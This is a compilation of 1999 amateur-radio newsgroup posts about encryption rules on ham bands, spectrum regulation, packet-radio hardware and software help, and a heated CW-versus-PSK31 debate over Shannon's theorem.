>keypads. Are there any?

The FRS is not permitted to be interconnected with the public
telephone network so you won't find any such devices on the
market (legally).

>Better still, are there any amateur transceivers that can
>transmit a full-duplex, encrypted, digital signal? If the answer
>is no, then why is the amateur market so technologically far
>behind cellular?

The answer is no, and the reason is that amateur communications are not allowed to be encrypted for security. Say it in the clear or go to a common carrier (mobile radiotelephone, cellular, PCS) service. Nothing stops full duplex as long as it is in the clear. We have a number of 440 MHz folks who use it in the San Francisco area.

SCC cards with DMA capability often don't have a realistic number
of channels for use in anything but a single-speed end-user system.

Nodes and BBSes usually need between 4 and 12 channels, and I don't
know about any SCC cards available to the amateur radio community
that provide these, with DMA capability.

(e.g. as busmastering cards)

Heck Robin, you can't replace an obsolete TNC with an obsolete computer.
Try a 500MHz Pentium III. :-)

A range of ten miles would suit me, since that would get across the city.
How much power would that require? I'm assuming the mobile unit would be
something installed in my car, rather than a handheld.

> It's not a technical problem. Ham radio is not in competition with

> deploying the service.

And what a crying shame *that* would be. I consider the Internet to be
the model for all communications. The Internet has done quite well
without FCC regulation. New protocols are being developed all the time
and users accommodate by upgrading their software. When their hardware
can no longer handle the software they want to run, they upgrade that as
well. The main problem with the Internet is that it requires a costly
infrastructure that must be paid for somehow. Unlike fiber-optic cables,
however, radio frequencies exist naturally and therefore should be
accessible for free.

> It's a legal issue. We are restricted by law. The law says no codes,
> ciphers, or anything to hide the content.

Attempts by the government to restrict the use of encryption on the
Internet are scoffed at. Why are hams so willing to accept such
restrictions?

> Just pay your Cell phone bill, and quit dreaming of getting a free ride in
> life.

The government built the roads and highways and therefore has the right to
regulate their use. The government did not, however, build the radio
spectrum. Much as they would like to think otherwise, the government
doesn't own the airwaves any more than they own the air. Should I pay a
license fee for the right to breathe? After all, every lungfull of air I
take in is a lungfull of air someone else could be using, and that person
might be engaged in more productive enterprises than I am. Perhaps the
government should sell large amounts of air to commercial interests who
would then resell it to individual users? Of course, there would also be
amateur air-breathers, but they must be licensed and their use of the air
restricted (no playing of wind instruments or blowing up balloons).

I think if the FCC had its way, it would sell off the entire radio spectrum to big business. But (fortunately or unfortunately) many hams are retirees with lots of time on their hands to petition the FCC and lobby congress. They offer up decades-old stories of ham operators who were instrumental in emergency situations. So, large amounts of spectrum continue to be devoted to hams talking about little other than their equipment and what bullshit the no-code license is.

Hi Dana, 20wpm CW actually occupies about double the bandwidth
of PSK31. (20/1.2)*3 Hz for not-so-easy copy to (20/1.2)*5 Hz
for relatively easy copy. So CW at half the baud rate sent in
double the bandwidth should have about a 4x advantage over
PSK31 at double the baud rate and half the bandwidth for the
same S/N ratio. Shannon strikes again.

Depends on the city. The number of buildings, interference, etc. I'd
probably
try 50 Watts on 440 to start.

Here's how you do it. Go to the Hamtronics Web page, and purchase a
2 meter transmitter, at about 50 Watts. Then buy their 440 receiver. Now
all
you need is their cheapo repeater controller, and a Dual-Band antenna and
duplexor (Comet makes a good system), and you are done. Just buy a
dual-bander for the car. You'll need about 50 Watts to go 10 miles with
varying terrain.

As long as you use this for personal use, or for emergencies, then you are
fully compliant with the law. If you use this for business, then you are in
competition, and will be shut down.

You've gone off on a tangent here. #1 you want a telephone system that is
basically free (after purchasing the equipment). If we commercialize the

Ham bands and go into competition with capitalists and big business, we
will lose. The reason is, they will buy our frequencies, and we'll be done
as
a hobby. Hams do not have 1% the PAC power that the commercial people
have.

You don't need encryption for a hobby. Encryption means privacy, and
Ham radio is public. We accept such restrictions because it is a law.
Just like Freon and Crack Coccaine are laws. You can do whatever
you want, but as Grandpa asked: "are you willing to do the time, or
pay the fine?" I suspect it's cheaper to buy a scrambled cell phone.

>> Just pay your Cell phone bill, and quit dreaming of getting a free ride
in

Wrong. They did. Before the FCC and regulations, radio operators just
set up shop and jammed each other. The Government was needed to
regulate and impose standards. Same with airplanes. Ask all the Rock
Stars, and Country Music stars who died in plane crashes, whether they
think regulations are bad? (if you can).

> Much as they would like to think otherwise, the government

>restricted (no playing of wind instruments or blowing up balloons).

This reasoning is completely flawed. Here's what I propose. #1 You
decide if you want to persue a technical problem, or #2, a legal rights
problem. You are a child of the "Individual Rights" machine in America.
I'm from another Era, and that was "Community Rights." In my youth we
worried about what was good for "the people" and not what was
"good for me." Would having a free-for-all in the radio spectrum be
good for "the people" or even good "for me?"

Now, take your chosen thesis and develop it into a well reasoned essay that is *against* what you believe should be the law.

Come back with the essay, and I will give you College Credit for anything I feel is above C quality. it. It must be at least 2000 words, and have a bibliography with at least five referenced works (Books, not magazines, or newspapers, or internet). You should be able to do this in three or four evenings at the Community College Library.

>I think if the FCC had its way, it would sell off the entire radio
>spectrum to big business. But (fortunately or unfortunately) many hams

We exist at the benevolence of the ruling class. As the Ham population dies off, Hams will be in no position to maintain the spectrum allocated. Unless some plan is in the works, Ham radio as we know it, will pretty much be dead above 50 MHz, by the next decade.

>They offer up decades-old stories of ham operators who
>were instrumental in emergency situations. So, large amounts of spectrum
>continue to be devoted to hams talking about little other than their
>equipment and what bullshit the no-code license is.

You can turn Ham radio into a big internet and telephone company, but it will cost just as much as if you just paid for what is available now.

You don't.

Use the stand-alone version for large multiport nodes. How about nodes with
up to 16 ports, capable of handling 10MB/hr or better? Hmmm?

But the 31Hz filter is not in the CW circuit. That's why you
cannot do an apples to apples comparison. Take my word for it,
Dick. You cannot copy 50wpm CW through a 31Hz filter. The way
you are copying it now give CW a four times advantage over
PSK31. Give up that advantage and see what happens.

K1MAN and W1AW seem to have the broadcast bulletin franchise covered
well enough on HF. Do we really need another broadcaster on our bands?
Radio is inherently broadcast, of course, but amateur radio isn't supposed
to be one way, with limited exceptions. Multicast bulletin stations may be
technically somewhat interesting, but I question whether they serve a good
purpose for the HF amateur community in general. It might be useful to
think about what purposes the station might serve before getting too deep
into the technical details.

I'm not saying it's necessarily a bad idea, but I think it might be worthwhile to
explore the utility of the concept a bit further first in order to determine just what
niche it is supposed to fill. If the idea is to bypass our VHF/UHF terrestrial
networks, and starve our VHF/UHF operators of bulletin traffic that they'd
otherwise handle, then it could be painted with the same brush as you use for
the so called "Landline Lid" internet forwarder. It certainly doesn't seem to
advance the cause of packet switched networks. If it is successful, it might
even contribute to their decline in areas where virtually the only use of the
network is for BBS bulletin forwarding. (Not a concern in our area, where
the BBS is essentially obsolete, replaced by interactive realtime applications,
but it might be in other areas where BBS activity persists.)

Your cell-phone or PCS bill is not a fee for using the RF spectrum -
it's a service fee to pay for the cell-site infrastructure and personnel
involved in keeping it all working. Let's keep our feet on the ground
here folks...

I purchased an AEA FAX II setup at the Cinci Hamfest today and got into reading the manual tonight to discover that I did not have the software that comes with the hardware for it to work. If there is anyone out there that has the software that goes with this please lend a hand and email me a copy. If there is any aftermarket software that anyone knows that will work with the unit please let me know about that, too. I am very interested in giving this a try. I would be interested in any hints that help with its operation that were not to be found in the manual. Thank you very much!

Hi,

I looked on the BayCom main web page in Germany, but was unable to find a download of there software. I did an internet search but to no avail. Does anyone know of a web site that has an English version for download, or if someone as an English V1.6 could you email it to me please.

Thanks in advance.

Greetings,

I have an original Icom 706. I just purchased a KAM Plus and, being a newbie at packet, do not know how to connect the two. I want to use both VHF and HF digital modes.

Any suggestions and wiring diagrams would be greatly appreciated.

Sincerely,

Dan

Two corrections, you can operate a simplex patch via a base station if your control link is on 220 MHz or above.

And I believe that ordering a pizza for personal consumption would not be prohibited as there is no pecuniary interest or financial gain involved in such a transaction.

There are any nunber of amateur dual banders that are full duplex
encryption would be easy but is not legal on the amateur bands thus
no equipment of that nature is available for general amateur sales.
So amateur radio is not so technologically far behind cellular just
a bit hide bound by regulation.

Motorola M75 Digital Cellular Phone

Unit is New has 99 alpha Number Storage Works with the PCS TDMA System
Comes with 1 High Cap NMiH Battery & 1 Slim Line NICK Cadmium Battery
Wall Charger.
This Phone Has A Built In Rapid Charger.

Also Comes with A Hands Free Kit With will charge the battery
Comes with remote mic to put on your visor and a remote speaker
It also Provides an external antenna connector
Asking $300.00 For all

For more Info On the M75 Click Here

Just for the record Charles, I have never used the internet to do any packet work. Never needed to. I have probably been working packet longer than you. I do not use a TNC and keyboard to do CW.
I am a real Amateur Radio Operator. Until you learn that the world does not revolve around Charles Brabham, you will never be anything more that a sorehead, loudmouth who thinks he knows it all. You never listen to what anyone says unless it totally supports the way you think things should be. There are many different forms of Ham Radio, but if it isn't anything that your little narrow mind can comprehend, then the person that uses it is an Idiot and Landline Lid. Now who really sounds like an IDIOT - "Charles"!

David - W4DSM

>car and another at home which is connected to the phone line.

It's not that easy. Cellular is a low power, multi-site solution. In order
to
do what cellular does, you are going to need a very high antenna, or
oodles of power at both the home and handheld.

>Also, I'm not sure how security works on such
>repeater systems. How would I prevent someone else from using it to make
>a long-distance call?

The best plan would be to shut off long distance. Most repeater controllers
have this function.

> One alternative might be to use the FRS band, since
>that is less regulated and offers some kind of rudimentary security. The
>trouble with that is, I don't know of any FRS radios with DTMF keypads.
>Are there any?

FRS (Family Radio Service) is a very low power service. Tones are not
legal,
because the FRS shares frequencies with repeaters and they petitioned the
FCC to make sure tones weren't legal. The audio also uses 2.5 kHz deviation
I believe. It's a real failure, not anything like what Tandy wanted.

> Better still, are there any amateur transceivers that can
>transmit a full-duplex, encrypted, digital signal? If the answer is no,
>then why is the amateur market so technologically far behind cellular?

It's not a technical problem. Ham radio is not in competition with
commercial
radio. If it was a free-for-all then Hams would bury the commercial market,
because we don't have to have standards before deploying the service.

It's a legal issue. We are restricted by law. The law says no codes,
ciphers,
or anything to hide the content.

Just pay your Cell phone bill, and quit dreaming of getting a free ride in
life.

Steve

It would be easy to digitize the voice using one of the methods
acceptable to the FCC. That would effectively encrypt it as far
as 99.9% of amateurs are concerned.

So now, your assignment is to show where it was that I disagreed with any part of "this". I did not, never did and have no intent to ever do so. Most of this I could have easily recounted from experience on the air, unlike you. It took a EE and lots of other "study" for you to realize it and even then, you have no concept of how this relates to other modes in actual, on-the-air usage with equipment that is now in the hands of practicing amateurs--even your own. Do you have a 31 cycle IF filter in your rig???

I say that "I can copy the CW ID on a PSK31 signal when it is too weak to lock and print. YOU then say that "you couldn't do that if you were using a 31 cycle filter". But your soulmates say that the 31 cycle filter is already in place in the PSK31 DSP software!

So send me a 31 cycle IF filter for My Icom and I'll give it a try. If you can't do that, then go soak your head and hold your peace. And get your stories together.

Dick C

For what you would pay to outfit your car and home with radios, antennas, and controllers/phone patches (at least $1500), you would do better, *much* better to just knuckle under and buy a PCS digital phone (<$300) and sign up for the service ($30/mo., 10 cents a minute). It would be cheaper, easier, give you greater reliable coverage, be more private, and fully legal. You can't achieve the kind of privacy you are accustomed to on the telephone via any kind of amateur, FRS, or GMRS radio system. Encryption is *illegal* on the ham bands. FRS and GMRS offer "security," in the form of PL or DCS encoding. Anyone with a scanner and a tone decoder can grab your access codes. FRS/GMRS 'privacy' codes don't prevent others from eavesdropping, they just keep the squelch closed unless the proper tone is present.

Amateur radio isn't technologically behind cellular, it is a different bird altogether. In fact, amateur experimental work in FM repeaters, autopatching, and linking, in the 60's and early 70's laid much of the groundwork for trunked, and later cellular, radiotelephone systems. Ham communication is 90% recreation and experimentation, not utility communication. To see the absence of a cell-phone like system in ham radio as backwards is like saying ballet is backwards compared to walking.

Simple answer: Hundreds and hundreds of billions of $$$$$$$$
Plus a *totally* different set of objectives, goals and
rules.

Hi,

I have a TI-83 graphing calculator that has a data jack on the back for connecting 2 calculators for simple communication. After figuring out the protocol, it looks like there are only 3 lines, say A, B, and ground. A and B are both bi-directional, and have two states - high (+5 volts) and low (0 volts). Does anyone know of any schematics that could be used for this? I want to do something as simple as possible (I'd think that this would be a lot more simple than a voice transmission). If possible, I'd like to be able to transmit a couple miles. Does anyone have any plans/schematics for something like this? Thanks.

Dan

This comparison strikes me as rather specious. The Morse ID is
sent at a significantly lower baud rate than the PSK31 stream
(while occupying essentially the same bandwidth as the PSK31)
and the comparison is extremely subjective. If you were to
make the same comparison with random 5-letter groups, I suspect
the results would be quite different.

Ok then smart arses...

I've got eight links - five at 9600bps, one at 2400bps and two at 1200bps.

How do I get the all singing and dancing Flexnet to drive this lot with an old 386 using Baycom modems or sound-cards?

And where do I connect the dual 38k4 links when I get them running later this year.

Don't try and tell everyone that Flexnet is the perfect solution to all problems because it ain't.

I get really pissed off by all the comments about how wonderful the new [Flexnet] [KA9Q high speed modem using a sound card] [Baycom modem] [YAM] [parallel port modem] (delete where applicable) is but try running 8 of them in a crap PC and see how far you get...

Oh...So by your "rules" there is no such thing as
comparison of modes copied under identical
circumstances...Sure, Cecil we all believe every thing you
say, without fail!

> Take my word for it,
> Dick. You cannot copy 50wpm CW through a 31Hz filter.

Don't need your word for anything Cecil. I have no
intention of ever trying to copy CW through a 31 cycle
filter.

> The way
> you are copying it now give CW a four times advantage over
> PSK31. Give up that advantage and see what happens.

Ah, now maybe we can begin to get to the heart of all this "comparison" nonsense...

CW has a 4 to 1 advantage over PSK31 and so you want us to give up CW's advantage so that PSK31 can operate just like you have always insisted that Shannon says it will! Now we see!!!

You Shannonites are no more than a bunch of numbers operators. Bookies for The Cause - The cause of destroying CW and all it has stood for, for so long. A bunch of "hams", all right, but not ham radio operators, rather just a bunch of bad actors!

Now, don't misunderstand--I DO thoroughly understand what is you are saying--that if we place PSK31 and it's CWID in the exact same bandwidth and SNR environment that the more efficient mode will perform best. No question about that. That statement, however says nothing whatever about any other that the most optimal, closely controlled conditions. It says nothing about the conditions that may, nay- *WILL* be encountered by communicators in the real world---as demonstrated so clearly by my little test where I heard the CWID when PSK31 would not print. It demonstrates ONLY that the 'most efficient' mode will prevail ONLY under conditions where conditions favor *IT* and do NOT favor other modes.

Shannon's vaunted "law" may be unconstitutional.

This is a real-life, on-the-air comparison as opposed to
the theoretical. This is what communicators rouitinely run
into on the air, as opposed to just "doing the math" to see
what shakes out as "best".

It clearly shows that things are not as tidy as the theory
seems to indicate--that is, indicates to those who are
inclined to give all preference to "doing the math" as
opposed to what shows up in real life.

Anytime one must forego a natural 4 to 1 advantage to "get
a valid comparison" there is something wrong with the
theory. No one ever said that the throughput has to be
maintained at any certain level. The advantage may well be
in that ANY communications at all are possible.

Awhhh, give us an ever-loving break, Dick. The theory indicates exactly the amount of tidyness. Given the same S/N ratio, the theory says the maximum possible throughput is equal to the bandwidth times the transmission time. It takes 2.5 times as long to send CW at 20wpm as it does to send PSK31 at 50wpm. 20wpm CW occupies between 50 and 83 Hz depending on whether only the third harmonic is included or whether the third and fifth harmonic are included. PSK31 occupies 31 Hz. 50/31= 1.6 and 83/31= 2.7 2.5*1.6= 4 and 2.5*2.7= 6.75 So the PSK31 CW ID is between 4 and 6.75 times farther away from the maximum throughput than is the PSK31 signal itself. To make this an apples to apples comparison, the S/N ratio of the CW signal would have to be reduced so that the CW log2(1+S/N) term would be 1/4 to 1/6.5 of the value of the PSK31 log2(1+S/N) term.

Of course there is, Dick. When it is time to send the CW ID simply reduce the signal until the CW term for log2(1+S/N) is 25% to 15% of the value of the PSK31 term for log2(1+S/N) I'll bet you can't copy it when PSK31 is barely getting through. After all, for the same maximum power, PSK31 has a 6dB advantage over OOK to start with.

> ---as
> demonstrated so clearly by my little test where I heard the

You didn't demonstrate anything of value to your argument, Dick. You only demonstrated that Shannon is correct when he says increasing the bandwidth and the time it takes to send a certain number of bits makes the signal easier to decode.

What a ridiculous thing to say, Dick. A PSK signal occupying the bandwidth of the CW signal and operating at the same bit rate as the CW signal would have a 6dB advantage over CW at the same maximum power level. You think you can operate CW an 'S' unit below barely functional PSK? I seriously doubt it and you have not offered any proof that you can.

And there are limits to how much humans can do. Studies have shown
that once Morse drops below a certain speed, it becomes more difficult
to decode. But longer integration times make machine morse easier to
decode. The lowfer lists contain mention of a 73khz QSO accomplished
with many seconds (minutes) per element decoded by computer. Long
integration
times can help machine decoding way down into the realm where it becomes
ineffective for humans.

At the other end of the spectrum, humans have a natural upper speed
limit too,
a limit which doesn't come close to Shannon's predicted capacity for a
channel.

1170. HELP: TAC310SX Eprom program and 9K6 mod's ?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-28 00:00:00 UTC
From: John F Feist <feistjf@wedgie.nosc.mil>
Message-ID: <36D98EA9.2411A70B@wedgie.nosc.mil>
Source record: 19311

I could use some help with the KYODO/RCA TAC-TEC TAC310SX radios. I have several here that I am trying to burn EPROM's for. I have the frequency formula and have set up both transmit and receive allocations on the Eprom but the radio will not rcv or xmit. Also I do not understand the integration of the two types of Tone boards (one of which is the QCT5) and the Standard/Scan control heads and the Eprom images. I have one of these rigs operating on 441.500 packet and would like to get the rest of them on the air.

These radios have true FM, I would like to convert them too 9600 baud packet. One member of CODED Communications said they will work but require tweaking. I would like to exchange notes with anyone who has/will have/could have experience with these commercial radios.

Please respond via email at: aa6qn@juno.com or aa6qn@wedgie.nosc.mil

I could use some help with the KYODO/RCA TAC-TEC TAC310SX radios. I have several here that I am trying to burn EPROM's for. I have the frequency formula and have set up both transmit and receive allocations on the Eprom but the radio will not rcv or xmit. Also I do not understand the integration of the two types of Tone boards (one of which is the QCT5) and the Standard/Scan control heads and the Eprom images. I have one of these rigs operating on 441.500 packet and would like to get the rest of them on the air.

Shannon also tells us that we can operate at a lower SNR if we use a wider
bandwidth. Depending on the modulation scheme, you aren't using all the
bandwidth all the time, any more than analog voice uses all the bandwidth
all the time. At any given instant, the symbol being transmitted depends
on the number being sent. So there is only one set of spectral lines active
in the bandwidth at any given instant. The only difference between that
and analog is that the spectrum is in discrete steps, and is constant power.
The latter is a big advantage because recovered baseband SNR doesn't
depend on what is being said. Whether you whisper or shout, bass or soprano,
it is all just numbers being transmitted. The fact your spectrum is in discrete
steps can also be used to interleave multiple transmissions with little interference
(spread spectrum CDMA). Plus throw FEC into the mix, and you can reduce the
channel error rate with coding gain instead of a bigger amplifier.

Right. Any amateur station can be remote controlled, so that takes care
of the control operator bit, IE you can be the control operator of *both*
stations simultaneously. The control link must be an auxillary station,
however, and operate above 222 MHz.

>And I believe that ordering a pizza for personal consumption would not
>be prohibited as there is no pecuniary interest or financial gain
>involved in such a transaction.

Right again. That wasn't always the case, but it is now. You can order
a pizza. But if you were in the pizza business, you couldn't use amateur
radio to dispatch your delivery trucks. The former is personal use, the
latter is business use.

Source record: 19365

Hallo,
I have made a cable for my TH-D7.
I goes well with the memory program from Kenwood, but i can't run packet programs !!! I only make a connection with hyperterminal.
The differents softwares couldn't recognize or find my TNC !!!
I try Baycom, Winpack, Agpwe, ...
I'm using a Toshiba 4000 CDS and WIN98 and connect my TH-D7 to COM1 !
Who can help me ?
Thanks for responses, 73's

From: Glenn Cummings <kg7il@foxinternet.net.delete>
Message-ID: <36D93F48.F44A3271@foxinternet.net.delete>
Source record: 19366

You may need to create your own TNC initialization file. Each time you turn
the Packet TNC on, the D7 defaults all TNC parameters.

Using Hyperterminal, capture the current settings.
Start Hyperterminal, get to TNC cmd: prompt
Menu Item Transfer, Capture Text (give it a filename), [Start]
At the cmd: prompt type DISP (Display Parameters)
The TNC parameters will scroll the screen and write to the file
Menu Item Transfer, Capture Text, Stop (closes the file)

Look over the file and compare it with your softwares init files. You'll
notice some of the commands are different.
You may need to merge/edit to get a working init file or setup values.
Since I am not familiar with the software you listed, its tough for me to
give more specifics.

Also, make sure your software is set to the 9600,8,1,N,Xon/Xoff

They did no such thing. I walked up to their table at a hamfest and exchanged Federal Reserve Notes for a small cardboard box that contained: a diskette and a 2 to 3 converter. The software is the entire new version because this is how they do it. They gave me no special or wonderful service in fact sold me yet another adapter that I did not want or need. Their copy protection is a nightmare the only thing worse is how they treat recent customers when a new version comes out.

> This is a real-life, on-the-air comparison as opposed to
>the theoretical. This is what communicators routinely run
>into on the air, as opposed to just "doing the math" to see
>what shakes out as "best".

"Doing the math" is EXACTLY how modern communications
systems are designed and evaluated IN THE REAL WORLD.

If "the math" says it works, it works .. unless you've hosed up
something in the gear or the adjustments so that it can't possibly
work the way it's supposed to work.

I recently designed a new type of RF modem for integration
into a mixed-signal ASIC at work ... how did I design it? I took
the conceptual block diagram I had in mind and modeled it on
the computer using a simulation program called TESLA
(Transient Electronic System Level Analysis), which allows one
to accurately predict the performance of complex hardware
architectures ... even complete communications systems end
to end ... in both the time and the frequency domains (you can
plot and see both waveforms and spectrums at any node(s) in
the system which you choose to view).

Once the architecture had been simulated and its performance
evaluated (by "doing the math" ... which is all simulation is), the
exact same architecture was coded in VHDL (a hardware
description language) and synthesized into an FPGA (Field-
Programmable Gate Array) to make a proof of concept model
and provide some early hardware for our software people to
begin developing software upon.

The FPGA proof of concept model worked (virtually) exactly as
was predicted by the simulation models (within a fraction of a dB).
Then the same, unchanged VHDL code was re-synthesized into our
custom ASIC process along with some other stuff that was to
"live" on the same chip, and a new chip "hardwired" dedicated chip
was produced. It, too works the same. The results of the simulation
predicted that the modem's performance would be about 1 dB from
theoretical ideal ... the actual measured performance on real hardware

was slightly less than 1 dB from theoretical ideal .

I'm saying all this not to toot my own horn in any way, but rather
to refute your inaccurate and dangerous assertions that "doing
the math" and having knowledge of the fundamental principles
and physical laws (such as Shannon's Law, Nyquist, etc.) which
govern modern communications systems design is "irrelevant
in amateur radio."

> It clearly shows that things are not as tidy as the theory
>seems to indicate--that is, indicates to those who are
>inclined to give all preference to "doing the math" as
>opposed to what shows up in real life.

BS ... as I've illustrated above, "doing the math" is how
REAL things are designed in the REAL WORLD.

> Anytime one must forego a natural 4 to 1 advantage to "get
>a valid comparison"

What "natural 4 to 1 advantage???" I think your ignorance
is showing again, as I'll explain further ...

>there is something wrong with the theory.

There is NOTHING wrong with theory ... what is deficient
is your understanding of things of a technical nature, Dick.

>No one ever said that the throughput has to be
>maintained at any certain level.

The point is that better techniques can be "better" than
OOK Morse in two ways ... they can transmit MORE data
per unit time (a higher transmission rate) at an equal signal
level to Morse, OR they can slow down to rates equivalent
to typical OOK Morse transmissions and operate at levels
FAR below those where OOK Morse signals can even be
detected.

Let's face it, Dick, you're a "Morseodist" ... and your "religion"
(and your incompetence) render you incapable of differentiating
the factual laws of the physical universe in which we live from
the mythology and dogma of that "religion."

If you had lived in the times of Galileo and Copernicus, I'm
quite sure you'd have been at the head of the crowd wanting
to burn them at the stake for "heresy," simply because they
were capable of recognizing scientific realities which flew in
the face of your system of mythology and dogma.

> CW has a 4 to 1 advantage over PSK31

In your incompetent-minded fantasies, perhaps ... in the
real world, no.

It's not our fault that you are incapable of understanding how
communications systems are evaluated, nor the limiting principles
which govern their operations, nor are we responsible for your
obvious ineptness in installing and operating anything of a modern
nature ... you failed with your HAL card and CLOVER, now you're
unable to get reasonable performance from PSK31 ... despite the
fact that MANY CW fans are raving about the performance of
PSK31.

Face it Dick, as I said in my previous response, you are simply
incapable of overcoming years of "Morseodist religious mythology
and dogma" and that, coupled with your technical incompetence,
renders you unable ot make accurate, rational judgements.

Start at this web site.

http://www.delorie.com/djgpp/

It has links to other sites with libraries. I think the biggest problem is working the I/O on the computer, especially in Windows95. As you know C does not have any I/O functions but I think I came across some libraries for VGA and I/O sometime back on this site.

Hope it helps and let us know how it goes.

> has no support for FlexNet.

I'm sorry, Charles, but I was under the impression that the KPC-3 will
natively run KISS? I have a KPC-3 running kiss connected to
my linux box right now. So, are you saying the flexnet doesn't support
KISS?

I'm working on building a network of wireless weather stations that will
all be running on solar power. I'm rather concerned about my power
consumption
and I have stayed up late at least one night working on the topic. A
8086 would
not be suitable to run on a 7aH gel cell, but a couple of PIC16F84's
are. Not
everybody sits in the shack all day.

The "4 to 1 advantage" came from me, Carl. Any mode (CW in this case) that occupies double the bandwidth and runs at half the baud rate of PSK31 has a physically predictable advantage for decoding and the disadvantage of more bandwidth and lower throughput.

We have indeed seen some excellent quality communications privacy (encryption devices) gear showing up for sale at regional ham fests for use with amateur radio VHF/UHF equipment.

These items are very popular and reasonably priced. The vendor has several demonstration units set up at ham fests and potential buyers are encouraged to try out the gear before buying.

This is high-quality equipment, not junk!

Cecil ... you have to forgive me ... I think of "advantage"
and "better" in terms of BER vs. Eb/No and spectral
efficiency in terms of b/s/Hz ...

In those terms, PSK has a significant advantage over OOK Morse.

1197. MultiMode 1.6.4 For Macintosh Released

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-28 00:00:00 UTC
From: csmolinski@erols.com
Message-ID: <csmolinski-ya02408000R2802991702360001@news.erols.com>
Source record: 19384
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.scanner,rec.radio.shortwave

MultiMode version 1.6.4 has been released. This version supports 44 kHz audio sampling when running on an iMac or a new G3 system. These Mac models can only sample at 44 kHz. Most Slow Scan TV (SSTV) modes are now supported as well.

MultiMode is an application which allows your Macintosh to receive and transmit several different modes of non-voice communication often heard on shortwave radio. It is the only program of its kind for the Macintosh.

MultiMode allows you to decode and display morse code, RTTY, Fax, SSTV, ACARS, and many other modes on your Mac, without any extra hardware! MultiMode now also allows you to transmit in most of the modes of operation.

In the past, dedicated hardware, often costing hundreds or thousands of dollars, was necessary to demodulate and decode this transmissions. Today, you can use the processing power of your Macintosh to decode and display these modes, without any hardware.

MultiMode handles the following modes:

Morse Code (CW)
RTTY (Baudot)
ASCII
SITOR-A
SITOR-B / FEC / NAVTEX
SSTV (Slow Scan TV)
WEATHER / SATELLITE FAX
ACARS (Aircraft Communications)
WWVB Time Decode
DTMF, CCIR, XPH Tones
Audio Spectrum Display to aid in properly tuning in stations

MultiMode is shareware. The MultiMode web site URL is
http://www.blackcatsystems.com/software/multimode.html

The context was that Dick has an advantage, in decoding the CW
that accompanies PSK31, over the computer in decoding PSK31
code, because he is allowed half the baud rate in twice the
bandwidth. The point is that Shannon predicts the very
advantage that Dick is so proud of. How he can take advantage
of Shannon while simultaneously saying that Shannon doesn't
matter is beyond belief.

Dick, you must have inherited your IQ from the mules you skin.
If a PSK signal occupies the same bandwidth as a CW signal and
operates at the same baud rate as a CW signal, it will run
circles around CW. PSK31 was chosen for 50wpm because that's
about the rate humans type. The bandwidth fell out from that.
Forget PSK31. You cannot copy 50wpm CW through a 31Hz filter
so CW fails the competition with PSK31. Think about PSK83
running at 20wpm. It will beat 20wpm CW all to hell. The
only problem is nobody wants to type at 20wpm.

1207. Re: HF Data Rate

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-28 00:00:00 UTC
From: Don Mills <dcmills@ieee.org>
Message-ID: <36DA048F.715067B0@ieee.org>
Source record: 19394
Cross-posted to: rec.radio.amateur.digital.misc,alt.ham-radio.digital-voice

The theory is certainly sound, but there is a major "gotcha" given the way ham communication takes place on HF -- interference. On the plus side, the situation could be improved using a variable-rate coder (a'la IS95 CDMA), which would reduce the data throughput requirement during low/no audio frames. And our opportunity to interleave speech data over multiple frames is much greater in a simplex environment (reasonable delay is not a significant issue).

The big challenge, as I said, is interference -- the classical near-far problem for CDMA. In Shannon-speak, every undesired signal is noise. CDMA cellular requires VERY tight power control -- each mobile is adjusted eight hundred times per second to keep all signals very close to the same received level at the cell site. A single "runaway" mobile can easily wipe out all other received signals. In this environment, constant power (or more than the minimum required to maintain communication) is a huge DISadvantage -- my signal is a component of everyone else's noise. The challenge is to increase bandwidth without degrading SNR to the point where we lose ground. Not as easy as it sounds.

Signal strength you're likely to encounter on HF varies drastically, over a range of around 100 dB (say, S2 to S9+60dB). If these signals are "spread" over the same spectrum, only the very strongest will be recoverable. There's no way to control power in the "multipoint-to-multipoint" environment of amateur HF. My signal may be very weak at the station I'm working (desired signal to him) but very strong at a station in a QSO on an adjacent frequency (interference to him). In an interference-limited system, this technique is doomed to failure in our environment. Direct-sequence CDMA wouldn't work at all -- except for the very strongest guys). In a frequency-hopping environment, as the spectrum is loaded only the strongest signals would be heard as collisions with stronger stations wipe out more and more frames of weaker stations.

Practical means of transmitting "higher speed" data on HF to date use multiple data carriers (basically multiple modems in parallel), each operating at a relatively low bit rate (HF propagation is hardly "modem-friendly"). Carrier frequencies and symbol rates are chosen such that the spectrum is optimally occupied. Thus the spectrum is fully occupied all the time. As mentioned above, variable-rate coders could help, though re-synchronization as data carriers are turned back on would be problematic.

Keep in mind I'm talking specifically about HF band characteristics. The situation at VHF/UHF is very different, particularly where repeaters (point-to-multipoint) are involved.

You are arguing against yourself, Dick. That's exactly what
Shannon predicts will happen, yet you say Shannon doesn't
matter. If you cannot "lock and print" CW at 50wpm you
have failed to do an apples to apples comparison.

> It DID show that equal signal levels of CW and PSK act
> quite differently, and that CW *WAS* readable when PSK31
> wasn't.

Equal signal levels of CW and PSK DO act differently with,
everything else being equal, PSK blowing CW away. 20wpm
CW is NOT PSK31. 50wpm CW through a 31Hz filter IS PSK31
and you cannot copy it. You are just showing your ignorance.

Make *everything else be equal* and get back to us, Dick,
with the truth this time. Why must you insist that the
earth is flat and the center of the universe?

> It DID show that it is all a smoke screen in which they
> insist that CW would have to be reduced in power by 4 times
> so that it, too, could NOT be copied to have a "valid"
> comparison.

I didn't say that, Dick. I said the CW signal level would have
to be reduced to make log2(1+S/N) for CW equal to 1/4 the PSK31
value. I have not taken time to calculate that relative power
ratio. Has anybody else calculated the relative signal levels
to make the comparison apples to apples?

That certainly appears to be a general statement so by your own logic, it must be false. You remind me of the guru who said, "There are no absolutes". I said, are you absolutely sure?

How ignorant can one person be? PSK can be programmed to be
much more adaptive than a human being. I have in mind a PSK
application that automatically adjusts the baud rate depending
on conditions. PSK31 may not be adaptive (yet) but you didn't
say PSK31. PSK is certainly more adaptive than CW. If necessary,
it can send one bit per minute for 24 hours a day. Let's see you
do that with CW.

Please get it right, Dick. I said the log2(1+S/N) value for
PSK31 would have to be multiplied by 4 to level the playing
field with 20wpm CW. In principle, this is the same thing
as a 1.5w CW signal trying to compete with a 1.5kw SSB signal.
You would scream to high heaven that wasn't an apples to
apples comparison.

> Lets recap this...I hear a PSK31 signal too weak to be

> "sure doesn't look to me like digital has anything on CW".

